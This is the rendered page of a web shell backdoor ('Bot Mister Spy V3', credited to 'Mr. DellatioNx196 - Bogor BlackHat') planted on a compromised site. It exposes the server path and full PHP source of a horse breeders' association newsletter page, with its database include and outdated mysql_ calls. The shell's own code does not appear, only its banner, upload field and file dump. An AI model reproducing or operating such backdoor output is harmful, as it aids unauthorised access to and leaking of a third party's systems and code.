Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/gacetilla.php

<?php require_once('../Connections/cnx.php'); ?>
<?php
$currentPage = $_SERVER["PHP_SELF"];

$maxRows_rsNewsEdiciones = 20;
$pageNum_rsNewsEdiciones = 0;
if (isset($_GET['pageNum_rsNewsEdiciones'])) {
  $pageNum_rsNewsEdiciones = $_GET['pageNum_rsNewsEdiciones'];
}
$startRow_rsNewsEdiciones = $pageNum_rsNewsEdiciones * $maxRows_rsNewsEdiciones;

mysql_select_db($database_cnx, $cnx);
$query_rsNewsEdiciones = "SELECT * FROM newsletters ORDER BY newsleterID DESC";
$query_limit_rsNewsEdiciones = sprintf("%s LIMIT %d, %d", $query_rsNewsEdiciones, $startRow_rsNewsEdiciones, $maxRows_rsNewsEdiciones);
$rsNewsEdiciones = mysql_query($query_limit_rsNewsEdiciones, $cnx) or die(mysql_error());
$row_rsNewsEdiciones = mysql_fetch_assoc($rsNewsEdiciones);

if (isset($_GET['totalRows_rsNewsEdiciones'])) {
  $totalRows_rsNewsEdiciones = $_GET['totalRows_rsNewsEdiciones'];
} else {
  $all_rsNewsEdiciones = mysql_query($query_rsNewsEdiciones);
  $totalRows_rsNewsEdiciones = mysql_num_rows($all_rsNewsEdiciones);
}
$totalPages_rsNewsEdiciones = ceil($totalRows_rsNewsEdiciones/$maxRows_rsNewsEdiciones)-1;

$queryString_rsNewsEdiciones = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsNewsEdiciones") == false && 
        stristr($param, "totalRows_rsNewsEdiciones") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsNewsEdiciones = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsNewsEdiciones = sprintf("&totalRows_rsNewsEdiciones=%d%s", $totalRows_rsNewsEdiciones, $queryString_rsNewsEdiciones);

function cortito($newsID)
{
	global $database_cnx, $cnx;
	
	mysql_select_db($database_cnx, $cnx);
	$query_rsNewsTexto = sprintf("SELECT * FROM newsletters_contenidos WHERE newsletterID = %s and tipo='t' ORDER BY newsletters_contenidoID ASC", $newsID);
	$rsNewsTexto = mysql_query($query_rsNewsTexto, $cnx) or die(mysql_error());
	$row_rsNewsTexto = mysql_fetch_assoc($rsNewsTexto);
	$totalRows_rsNewsTexto = mysql_num_rows($rsNewsTexto);
	mysql_free_result($rsNewsTexto);
	
	return substr(strip_tags($row_rsNewsTexto['idcorrespondiente']),0,250)."...";

}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/base_espanol.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>Asociaci&oacute;n Criadores de Caballos Criollos</title>
<script>
function validar()
{
	var f = document.form1;
	
	if(f.email.value != 'Ingrese su email')
		 return document.enviomail = true;
	else
		 return document.enviomail = false;
}
</script>
<!-- InstanceEndEditable -->
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<link href="../css/basico_frontend.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
#Institucional {
	position:absolute;
	width:119px;
	height:33;
	z-index:1;
	left: 456px;
	top: 324px;
	visibility: visible;
}
#SubInstitucional {
	position:absolute;
	width:127;
	height:2px;
	z-index:1;
	top: 39px;
	left: -17px;
}
#Formulario {
	position:absolute;
	width:124;
	height:33;
	z-index:2;
	visibility: visible;
}
#SubFormulario {
	position:absolute;
	width:129;
	height:11px;
	z-index:1;
	top: 22px;
	left: 31px;
	visibility: hidden;
}
#Ranking {
	position:absolute;
	width:168px;
	height:34px;
	z-index:2;
	visibility: visible;
}
#Subranking {
	position:absolute;
	width:129;
	height:115px;
	z-index:1;
	top: 23px;
	left: -6px;
	visibility: hidden;
}
#Clasificatoria {
	position:absolute;
	width:114px;
	height:34px;
	z-index:3;
	visibility: visible;
}
#SubClasificatoria {
	position:absolute;
	width:118px;
	height:115px;
	z-index:4;
	left: 16px;
	top: 23px;
	visibility: hidden;
}
#Premios {
	position:absolute;
	width:79px;
	height:32px;
	z-index:4;
	visibility: visible;
}
#SubPremios {
	position:absolute;
	width:80px;
	height:22px;
	z-index:5;
	top: 23px;
	visibility: hidden;
	left: 13px;
}
#Institucional {
	position:absolute;
	width:236px;
	height:24px;
	z-index:5;
}
#Institucional {
	position:absolute;
	width:200px;
	height:115px;
	z-index:5;
}
#Institucional {
	position:absolute;
	width:200px;
	height:115px;
	z-index:5;
}
#institucional {
	position:absolute;
	width:178;
	height:19;
	z-index:9;
	visibility: visible;
}
#subinstitucional {
	position:absolute;
	width:130px;
	height:115px;
	z-index:1;
	visibility: hidden;
	top: 0px;
	left: 150px;
}
#reglamentos {
	position:absolute;
	width:178;
	height:20;
	z-index:6;
	visibility: visible;
}
#subregalmentos {
	position:absolute;
	width:129px;
	height:115px;
	z-index:7;
	left: 150px;
	top: 0;
	visibility: hidden;
}
#Galeria {
	position:absolute;
	width:237;
	height:19;
	z-index:8;
	visibility: visible;
}
#subGaleria {
	position:absolute;
	width:129;
	height:51px;
	z-index:1;
	left: 170;
	visibility: visible;
	top: 0;
}
#galeria {
	position:absolute;
	width:237;
	height:19;
	z-index:8;
	visibility: visible;
}
#subgaleria {
	position:absolute;
	width:129;
	height:69;
	z-index:1;
}
#Layer1 {
	position:absolute;
	width:200px;
	height:115px;
	z-index:7;
}
#galeria {
	position:absolute;
	width:178;
	height:19;
	z-index:8;
}
#subgaleria {
	position:absolute;
	width:131px;
	height:60;
	z-index:1;
	visibility: hidden;
	left: 150px;
	top: 0px;
}

-->
</style>
<script type="text/JavaScript">
<!--
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_showHideLayers() { //v6.0
  var i,p,v,obj,args=MM_showHideLayers.arguments;
  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];
    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }
    obj.visibility=v; }
}
//-->
</script>
<!-- Global site tag (gtag.js) - Google Analytics -->

<script async src="https://www.googletagmanager.com/gtag/js?id=UA-112666274-1"></script>

<script>

  window.dataLayer = window.dataLayer || [];

  function gtag(){dataLayer.push(arguments);}

  gtag('js', new Date());

 

  gtag('config', 'UA-112666274-1');

</script>
</head>

<body>
<div align="center"><?php include("ssi_cabezal.php"); ?></div>
<table width="942" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="20" class="FondoBlanco"><div align="center"></div></td>
    <td><div align="center"><!-- InstanceBeginEditable name="Flash" --><!-- InstanceEndEditable --></div></td>
    <td width="20" class="FondoBlanco"><div align="center"></div></td>
  </tr>
</table>
<?php include("ssi_botonera_nueva.php"); ?>
<table width="942" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="20" height="20" class="FondoBlanco">&nbsp;</td>
    <td height="20" class="FondoBlanco">&nbsp;</td>
    <td width="20" height="20" class="FondoBlanco">&nbsp;</td>
  </tr>
  <tr>
    <td width="20" class="FondoBlanco">&nbsp;</td>
    <td class="FondoBlanco"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td valign="top"><!-- InstanceBeginEditable name="Contenido" -->
          <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td height="25" background="images/accc_fondo_botonera.png"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
                <tr valign="middle">
                  <td width="10" height="31">&nbsp;</td>
                  <td height="31" class="TituloPrincipal">GACETILLAS</td>
                  <td height="31"><div align="right"><a href="javascript:history.back();" class="linkBlanco">[volver]</a></div></td>
                  <td width="10" height="31" class="TituloPrincipal"><div align="right"></div></td>
                </tr>
              </table></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="FondoMarron">

                <tr>
                  <td><table width="100%" height="61" border="0" align="center" cellpadding="0" cellspacing="0">
                      <tr valign="top">
                        <td>&nbsp;</td>
                        <td>&nbsp;</td>
                        <td width="20">&nbsp;</td>
                      </tr>
                      <tr valign="top">
                        <td width="20" height="25">&nbsp;</td>
                        <td height="25" valign="top">Si desea recibir nuestro bolet&igrave;n electr&oacute;nico, complete el siguiente formulario: </td>
                        <td height="25">&nbsp;</td>
                      </tr>
                      <tr>
                        <td width="20" height="25">&nbsp;</td>
                        <td height="25" valign="top"><label></label>
                            <table border="0" cellspacing="0" cellpadding="0">
                              <form id="form1" name="form1" method="post" onsubmit="javascript:validar(); return document.enviomail" action="email_newsletter_analiza.php">
                                <tr>
                                  <td><input name="email" type="text" class="camposFormularioSimple" id="email" onfocus="this.value='';" onblur="javascript:if(this.value==''){this.value='Ingrese su email';}" value="Ingrese su email "/></td>
                                  <td>&nbsp;
                                    <label>
                                    <input name="Submit" type="submit" class="botonBasico" value="Enviar" />
                                    </label></td>
                                </tr>
                              </form>
                            </table></td>
                        <td height="25" valign="top">&nbsp;</td>
                      </tr>
                      <tr>
                        <td>&nbsp;</td>
                        <td valign="top">&nbsp;</td>
                        <td valign="top">&nbsp;</td>
                      </tr>
                  </table></td>
                </tr>
              </table></td>
            </tr>
            <tr>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td><table width="100%" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td width="20">&nbsp;</td>
                  <td><table width="100%" border="0" cellpadding="0" cellspacing="0">
                    <tr>
                      <td height="30" valign="top"><strong>GACETILLA ANTERIORES </strong></td>
                    </tr>
                    <tr>
                      <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                          <?php do { ?>
                          <tr>
                            <td width="100" height="95" rowspan="2"><img src="images/icono_news.jpg" width="78" height="83" /></td>
                            <td valign="middle"><a href="gacetillas_detalle.php?newsletterID=<?php echo $row_rsNewsEdiciones['newsleterID']; ?>" target="_blank" class="linkMenu"><strong><?php echo $row_rsNewsEdiciones['numero']; ?></strong></a></td>
                            <td width="10" rowspan="2">&nbsp;</td>
                          </tr>
                          <tr>
                            <td valign="top"><a href="gacetillas_detalle.php?newsletterID=<?php echo $row_rsNewsEdiciones['newsleterID']; ?>" target="_blank" class="linkBasico"><?php echo cortito($row_rsNewsEdiciones['newsleterID']); ?></a></td>
                          </tr>
                          <tr>
                            <td height="20" colspan="3"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td height="1" background="images/linea_punteada_vertical.gif"><div align="center"></div></td>
                                </tr>
                            </table></td>
                          </tr>
                          <?php } while ($row_rsNewsEdiciones = mysql_fetch_assoc($rsNewsEdiciones)); ?>
                        </table>
                          <table width="20%" border="0" align="center" cellpadding="0" cellspacing="0">
                            <tr>
                              <td width="23%" align="center"><?php if ($pageNum_rsNewsEdiciones > 0) { // Show if not first page ?>
                                  <a href="<?php printf("%s?pageNum_rsNewsEdiciones=%d%s", $currentPage, 0, $queryString_rsNewsEdiciones); ?>"><img src="First.gif" border="0" /></a>
                                  <?php } // Show if not first page ?>
                              </td>
                              <td width="31%" align="center"><?php if ($pageNum_rsNewsEdiciones > 0) { // Show if not first page ?>
                                  <a href="<?php printf("%s?pageNum_rsNewsEdiciones=%d%s", $currentPage, max(0, $pageNum_rsNewsEdiciones - 1), $queryString_rsNewsEdiciones); ?>"><img src="Previous.gif" border="0" /></a>
                                  <?php } // Show if not first page ?>
                              </td>
                              <td width="23%" align="center"><?php if ($pageNum_rsNewsEdiciones < $totalPages_rsNewsEdiciones) { // Show if not last page ?>
                                  <a href="<?php printf("%s?pageNum_rsNewsEdiciones=%d%s", $currentPage, min($totalPages_rsNewsEdiciones, $pageNum_rsNewsEdiciones + 1), $queryString_rsNewsEdiciones); ?>"><img src="Next.gif" border="0" /></a>
                                  <?php } // Show if not last page ?>
                              </td>
                              <td width="23%" align="center"><?php if ($pageNum_rsNewsEdiciones < $totalPages_rsNewsEdiciones) { // Show if not last page ?>
                                  <a href="<?php printf("%s?pageNum_rsNewsEdiciones=%d%s", $currentPage, $totalPages_rsNewsEdiciones, $queryString_rsNewsEdiciones); ?>"><img src="Last.gif" border="0" /></a>
                                  <?php } // Show if not last page ?>
                              </td>
                            </tr>
                        </table></td>
                    </tr>
                    <tr valign="bottom">
                      <td height="40"><div align="right">&nbsp;<a href="javascript:history.back();" class="linkVolver">[volver]</a></div></td>
                    </tr>
                  </table></td>
                  <td width="20">&nbsp;</td>
                </tr>
              </table></td>
            </tr>
          </table>
        <!-- InstanceEndEditable --></td>
        <td width="20" valign="top">&nbsp;</td>
<td width="130" valign="top" class="fondoGris1"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr class="FondoBlanco">
              <td height="40" valign="top" class="bordeGrisInf">                <div align="left" class="tituloNoticia"><a href="cabanias.php" class="linkMenu">Directorio de caba&ntilde;as</a></div></td></tr>
            <tr class="FondoBlanco">
              <td valign="top">&nbsp;</td>
            </tr>
            <tr>
              <td valign="top"><div align="center">
                  <?php include("ssi_cabanias.php"); ?>
              </div></td>
            </tr>
            <tr>
              <td valign="top">&nbsp;</td>
            </tr>
        </table></td>
        </tr>
    </table></td>
    <td width="20" class="FondoBlanco">&nbsp;</td>
  </tr>
  <tr>
    <td width="20" class="FondoBlanco">&nbsp;</td>
    <td class="FondoBlanco">&nbsp;</td>
    <td width="20" class="FondoBlanco">&nbsp;</td>
  </tr>
</table>
<?php include("ssi_pie.php"); ?>

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-25020972-2']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>

</body>
<!-- InstanceEnd --></html>
<?php
mysql_free_result($rsNewsEdiciones);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat